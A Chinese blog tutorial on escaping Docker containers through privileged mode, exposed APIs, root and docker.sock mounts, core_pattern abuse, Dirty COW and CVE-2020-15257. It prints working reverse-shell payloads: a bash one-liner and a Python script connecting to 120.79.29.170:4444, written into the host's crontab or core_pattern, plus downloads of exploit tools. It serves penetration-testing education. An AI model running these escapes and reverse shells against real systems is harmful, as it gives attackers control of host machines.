当前位置: 首页 > news >正文

关于Docker逃逸

关于Docker逃逸


文章目录

  • 关于Docker逃逸
  • 前言
  • 一、判断是否为docker容器?
  • 二、privileged特权模式启动容器逃逸
  • 三、 Docker Remote API未授权访问逃逸
  • 四、危险挂载导致Docker逃逸
  • 五、危险挂载Docker Socket逃逸
  • 六、 挂载宿主机procfs逃逸
  • 七、脏牛漏洞来进行docker逃逸
  • 八、CVE-2020-15257逃逸
  • 总结


前言

Dcoker作为开源容器引擎,作为一种操作系统级别虚拟化技术,已经被广泛应用于比赛,生产测试环境中,究其原因是Docker解决了环境部署复杂的问题,使应用程序能够进行打包,那么在渗透中,docker逃逸也必不可少。


一、判断是否为docker容器?

  1. 直接查看目录是否有docker产生的.dockerenv,dockerpoint等文件
    在这里插入图片描述

  2. 查看/proc/self/cgroup是否出现docker标志
    file

  3. 查看是否存在/etc/machine-id,一般docker没有
    file

二、privileged特权模式启动容器逃逸

  1. 当利用特权模式启动容器时,docker管理员可以通过mount命令将外部宿主机的磁盘设备挂载进容器内,获取宿主机的文件读写权限,然后可以通过crontab计划等逃逸到宿主机。

  2. 判断是否特全模式启动

cat /proc/self/status |grep Cap,对应掩码为0000003fffffffff

在这里插入图片描述

  1. 在docker中创建目录,然后将宿主机的磁盘挂载到新建的目录中
    file
  2. 将反弹shell等写入计划任务
echo "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1" >/aiwin/aiwin.sh
echo "* * * * * root bash /aiwin.sh" >> /aiwin/etc/crontab

在这里插入图片描述

  1. 反弹shell成功
    在这里插入图片描述
    file

原理十分简单,特权模式使得宿主机磁盘被挂载到了docker的目录,修改docker目录中的/etc/crontab相当于修改了宿主机的/etc/crontab

三、 Docker Remote API未授权访问逃逸

  1. docker swarm用于管理Docker集群,docker节点上会开放一个TCP端口2375,默认绑定0.0.0.0,导致了任何人都开源访问,进而控制docker环境。
  2. 使用vulhub的漏洞环境
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d

这里启动不成功,不知道为什么,但是原理就是通过docker利用tcp连接访问2375端口,然后从2375端口中拉取镜像,再利用特权模式启动,最后再通过特权模式写shell进入宿主机,进而完成逃逸,主要原因是2375管理端口能被任何人使用。

四、危险挂载导致Docker逃逸

这里的危险挂载指的是将宿主机的根目录挂载进了docker机中,使得docker能够直接操作宿主机的文件,导致逃逸,跟特权模式原理相似。

docker run -itd -v /:/aiwin name /bin/bash

file

  1. docker机的aiwin目录就是宿主机的根目录
    在这里插入图片描述

  2. 直接修改/etc/crontab文件写入反弹shell
    在这里插入图片描述

  3. 反弹shell成功
    file

五、危险挂载Docker Socket逃逸

Docker采用的是C/S架构即客户端服务端格式,可以通过以下命令操作目标的docker。
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
造成逃逸的原因是将宿主机的/var/run/docker.sock文件挂载到docker容器中,导致docker容器中可以操作宿主机的docker,进而能新创建docker从而将根目录挂载到新创建的docker中造成逃逸。

  1. 将/var/run/docker.sock挂载到docker容器中,此时docker容器中会出现/run/docker.sock文件
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
  1. 在docker容器中安装docker
    在这里插入图片描述
apt-get update
apt-get install docker.io
  1. 在docker容器中使用命令查看宿主机的docker镜像
docker -H unix://var/run/docker.sock images 

file

  1. 在docker容器中使用命令再允许一个docker容器,并将根目录挂载到docker容器目录中,写shell到定时计划
docker -H unix://var/run/docker.sock run -v /:/aiwin -it ubuntu:16.04 /bin/bash

file
5. 写shell与上面一样

六、 挂载宿主机procfs逃逸

procfs中/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,当文件中首字符是管道符|,该行剩余内容被当作脚本解释执行,从而实现docker逃逸,触发条件是进程崩溃。

  1. 启动容器,将/proc/sys/kernel/core_pattern挂载进容器,如果找到两个core_pattern,那么可能就是挂载了宿主机的procfs
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern 
  1. 搜索docker容器在宿主机的绝对路径,workdir即是
    file
  2. python脚本反弹shell
import  os
import pty
import socket
lhost = "120.79.29.170"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")s.close()
if __name__ == "__main__":main()
  1. 修改/host/proc/sys/kernel/core_pattern从而修改掉/proc/sys/kernel/core_pattern文件,以管道符开头,使得python脚本被执行
chmod 777 /tmp/.t.py
echo -e "|/绝对路径/merged/脚本位置 \rcore    " >  /host/proc/sys/kernel/core_pattern

file
5. 创建使容器崩溃的程序,编译运行,反弹shell成功。


#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

简单的NULL陷阱,没有为a开辟内存又给a赋值,使得程序崩溃。
file
在这里插入图片描述

七、脏牛漏洞来进行docker逃逸

  1. 脏牛漏洞的成因是get_user_page内核函数在处理Copy-on-Write过程时,可能产生竞态条件,导致出现了能够写数据到进程空间只读内存区域的机会。

  2. linux中存在VDSO小型共享库,能将内核自动映射到用户程序的地址空间,即将内核函数映射到内存。

  3. 当linux存在脏牛漏洞时,我们可以利用脏牛漏洞获取到内存的写权限,便可以写入shellcode到VDSO中,使得调用正常函数时执行shellcode,进而反弹shell,从而实现dokcer逃逸。

  4. 拉取Ubuntu14.04.5版本进行复现,存在脏牛漏洞

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

file
5. 执行文件反弹shell,这里虽然显示失败了,但是反弹shell却成功了
file
在这里插入图片描述

八、CVE-2020-15257逃逸

在host模式下启动时,容器和host共享一套Network,且内部UID为0时,使得容器中的程序可以访问宿主的 containerd 控制API,导致逃逸。
影响版本
containerd < 1.4.3
containerd < 1.3.9

  1. 下载指定的docker版本,使用–neit=host启动镜像
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
  1. 使用wget下载exp并解压
cd /tmp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
  1. 执行exp即可反弹shell
    在这里插入图片描述

总结

总的来说,docker逃逸大部分原因都是配置出现的错误,导致能够在docker机里面直接修改宿主机的一些文件,包括挂载了socket、procfs、/等,只有少部分是由于内核漏洞导致的,所以处理好配置问题,docker逃逸应该挺难。

参考文章

相关文章:

关于Docker逃逸

关于Docker逃逸 文章目录关于Docker逃逸前言一、判断是否为docker容器&#xff1f;二、privileged特权模式启动容器逃逸三、 Docker Remote API未授权访问逃逸四、危险挂载导致Docker逃逸五、危险挂载Docker Socket逃逸六、 挂载宿主机procfs逃逸七、脏牛漏洞来进行docker逃逸八…...

@Autowired和@Resource区别

Autowired和Resource到底有什么区别 Autowired 和 Resource 都是用来实现依赖注入的注解&#xff08;在 Spring/Spring Boot 项目中&#xff09;&#xff0c;但二者却有着 5 点不同&#xff1a; 来源不同&#xff1a;Autowired 来自 Spring 框架&#xff0c;而 Resource 来自…...

动态内存管理详细讲解

目录 1.为什么存在动态内存分配 2. 动态内存函数的介绍 2.1 malloc和free 2.2 calloc 2.3 realloc 今天要和大家分享的内容是的动态内存管理&#xff0c;我们先从他的定义入手学习。 1.为什么存在动态内存分配 我们到现在已经掌握了内存开辟的方式就是要么创建一个变量…...

Python和Excel的完美结合:常用操作汇总(案例详析)

在以前&#xff0c;商业分析对应的英文单词是Business Analysis&#xff0c;大家用的分析工具是Excel&#xff0c;后来数据量大了&#xff0c;Excel应付不过来了&#xff08;Excel最大支持行数为1048576行&#xff09;&#xff0c;人们开始转向python和R这样的分析工具了&#…...

卡特兰数、斯特林数基础

卡特兰数 从格点(0,0)(0,0)(0,0)走到格点(n,n)(n,n)(n,n)&#xff0c;只能向右或向上走&#xff0c;不能穿过对角线&#xff0c;的路径的条数&#xff0c;称为卡特兰数HnH_nHn​。 则有H01H_01H0​1。 通项公式&#xff1a; Hn(2nn)−(2nn−1)H_n\begin{pmatrix} 2n\\ n \en…...

STL——mapmultimap和setmultiset

一、关联式容器 与序列式容器相同&#xff0c;关联式容器也是用于存储数据的&#xff0c;不同的是&#xff0c;关联式容器里存储的是<key, value>结构的键值对&#xff0c;在数据检索时比序列式容器效率更高。 二、键值对 用来表示具有一一对应的一种结构&#xff0c;该…...

2023热门抖音权重查询小程序源码

2023热门抖音权重查询小程序源码 跟抖音上很火的一模一样&#xff0c;小程序适配优化。接口免费。小程序不是网页 修改教程: 1&#xff0c;如果想修改或者去除水印&#xff0c;直接删除或修改“index.html”12&#xff5e;22行 2&#xff0c;如果想修改logo&#xff0c;直接…...

153.网络安全渗透测试—[Cobalt Strike系列]—[生成hta/exe/宏后门]

我认为&#xff0c;无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感&#xff01;&#xff01;&#xff01; 文章目录一、后门简介1、hta后门2、exe后门3、宏病毒后门二、生成后门并测试0、测试环境1、生成hta后门并测试2、生成exe后门并测试3、生成宏病毒后门…...

如何成为优秀的程序员

崔宝秋&#xff0c;现任小米首席架构师、小米云平台负责人。1995年赴美留学&#xff0c;纽约州立大学石溪分校计算机科学系博士毕业&#xff0c;曾任IBM高级工程师和高级研发经理、雅虎搜索技术核心团队主任工程师、LinkedIn主任工程师&#xff0c;2012年回国加入小米科技。 20…...

多线程(四):线程安全

在开始讲解线程安全之前我们先来回顾一下我们学了那些东西了&#xff1a; 1. 线程和进程的认识 2. Thread 类的基本用法 3. 简单认识线程状态 4. 初见线程安全 上一章结束时看了一眼线程安全问题&#xff0c;本章将针对这个重点讲解。 一个代码在单线程中能够安全执行&am…...

[ROC-RK3568-PC] [Firefly-Android] 10min带你了解Camera的使用

&#x1f347; 博主主页&#xff1a; 【Systemcall小酒屋】&#x1f347; 博主追寻&#xff1a;热衷于用简单的案例讲述复杂的技术&#xff0c;“假传万卷书&#xff0c;真传一案例”&#xff0c;这是林群院士说过的一句话&#xff0c;另外“成就是最好的老师”&#xff0c;技术…...

C++之模拟实现string

文章目录前言一、包含的相关头文件二、构造和析构1.构造函数2.拷贝构造1.传统写法2.现代写法3.赋值运算符重载1.传统写法2.现代写法4.析构函数三、iterator四、modify1.push_back(尾插一个字符&#xff09;2.append&#xff08;尾插一个字符串&#xff09;3.运算符重载1.尾插字…...

SpringBoot实战(十三)集成 Admin

目录一、简介二、搭建 springboot-admin 管理服务1.Maven 依赖2.application.yml3.添加 EnableAdminServer4.启动服务&#xff0c;查看页面三、搭建 springboot-admin-client 客户端服务1.Maven 依赖2.application.yml3.启动服务&#xff0c;查看页面四、搭配 Eureka 使用1.搭建…...

mke2fs命令:建立ext2文件系统

以下内容源于网络资源的学习与整理&#xff0c;如有侵权请告知删除。 使用格式 mke2fs [options] [设备名称] [区块数] options与含义 -c&#xff1a;检查是否有损坏的区块。-F&#xff1a;不管指定的设备为何&#xff0c;强制执行mke2fs。-M&#xff1a;记录最后一次挂入的…...

免费分享一个springboot+vue的办公系统

springbootvue的OA系统项目介绍项目部署项目特点项目展示项目介绍 这是一个采用前后端分离开发的项目&#xff0c;前端采用 Vue 开发、后端采用 SpringBoot Mybatis 开发。 很适合java初学者练手和学习。 前端技术&#xff1a;Vue3.2 Vue-Router Pinia Ant Design Vue 3.X…...

STM32数据搬运工DMA

DMA的概念DMA&#xff0c;全称为&#xff1a;Direct Memory Access&#xff0c;即直接存储器访问。DMA 传输方式无需 CPU 直接控制传输&#xff0c;也没有中断处理方式那样保留现场和恢复现场的过程&#xff0c;通过硬件为 RAM 与 I/O 设备开辟一条直接传送数据的通路&#xff…...

4、操作系统——进程间通信(2)(system V-IPC介绍)

目录 一、system V-IPC常识 1、key和ID 2、文件描述符 3、函数&#xff08;ftok&#xff09; ftok产生IPC对象的健值key&#xff08;类似文件路径&#xff09; 4、例子 5、使用命令查看或删除当前系统中的IPC对象 一、system V-IPC常识 1、key和ID &#xff08;1&#x…...

基于CentOS Stream 9平台搭建Nacos2.0.4集群以及OpenResty反向代理

目录展示Nacos2.0.4集群搭建1. 下载2. 解压3.修改配置3.1分别修改下启动类中JDK路径以及启动大小3.2 分别配置数据源3.3 创建nacos数据库3.4 修改cluster.conf配置3.4.1 复制并修改3.4.2 编辑文件&#xff0c;修改三台主机地址3.4.3 分别放入另外两个nacos的conf目录下:4. 启动…...

老杜MySQL入门基础 第二天

导入演示数据 1、连接MySQL 2、创建"bjpowernode"数据库 create database bjpowernode;3、选择数据库 use bjpowernode4、导入数据 source D&#xff1a;\bjpowernode.sql(文件的路径)1 去除重复记录(把查询结果去除重复记录)(原表数据不会改变) 使用关键字dist…...

Python深度学习实战:人脸关键点(15点)检测pytorch实现

引言 人脸关键点检测即对人类面部若干个点位置进行检测&#xff0c;可以通过这些点的变化来实现许多功能&#xff0c;该技术可以应用到很多领域&#xff0c;例如捕捉人脸的关键点&#xff0c;然后驱动动画人物做相同的面部表情&#xff1b;识别人脸的面部表情&#xff0c;让机…...

挑战杯推荐项目

“人工智能”创意赛 - 智能艺术创作助手&#xff1a;借助大模型技术&#xff0c;开发能根据用户输入的主题、风格等要求&#xff0c;生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用&#xff0c;帮助艺术家和创意爱好者激发创意、提高创作效率。 ​ - 个性化梦境…...

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽&#xff0c;大家好&#xff0c;我是左手python&#xff01; Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库&#xff0c;用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

漏洞概览 漏洞名称&#xff1a;Apache Flink REST API 任意文件读取漏洞CVE编号&#xff1a;CVE-2020-17519CVSS评分&#xff1a;7.5影响版本&#xff1a;Apache Flink 1.11.0、1.11.1、1.11.2修复版本&#xff1a;≥ 1.11.3 或 ≥ 1.12.0漏洞类型&#xff1a;路径遍历&#x…...

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...

腾讯云V3签名

想要接入腾讯云的Api&#xff0c;必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口&#xff0c;但总是卡在签名这一步&#xff0c;最后放弃选择SDK&#xff0c;这次终于自己代码实现。 可能腾讯云翻新了接口文档&#xff0c;现在阅读起来&#xff0c;清晰了很多&…...

uniapp 集成腾讯云 IM 富媒体消息(地理位置/文件)

UniApp 集成腾讯云 IM 富媒体消息全攻略&#xff08;地理位置/文件&#xff09; 一、功能实现原理 腾讯云 IM 通过 消息扩展机制 支持富媒体类型&#xff0c;核心实现方式&#xff1a; 标准消息类型&#xff1a;直接使用 SDK 内置类型&#xff08;文件、图片等&#xff09;自…...

LLaMA-Factory 微调 Qwen2-VL 进行人脸情感识别(二)

在上一篇文章中,我们详细介绍了如何使用LLaMA-Factory框架对Qwen2-VL大模型进行微调,以实现人脸情感识别的功能。本篇文章将聚焦于微调完成后,如何调用这个模型进行人脸情感识别的具体代码实现,包括详细的步骤和注释。 模型调用步骤 环境准备:确保安装了必要的Python库。…...

【UE5 C++】通过文件对话框获取选择文件的路径

目录 效果 步骤 源码 效果 步骤 1. 在“xxx.Build.cs”中添加需要使用的模块 &#xff0c;这里主要使用“DesktopPlatform”模块 2. 添加后闭UE编辑器&#xff0c;右键点击 .uproject 文件&#xff0c;选择 "Generate Visual Studio project files"&#xff0c;重…...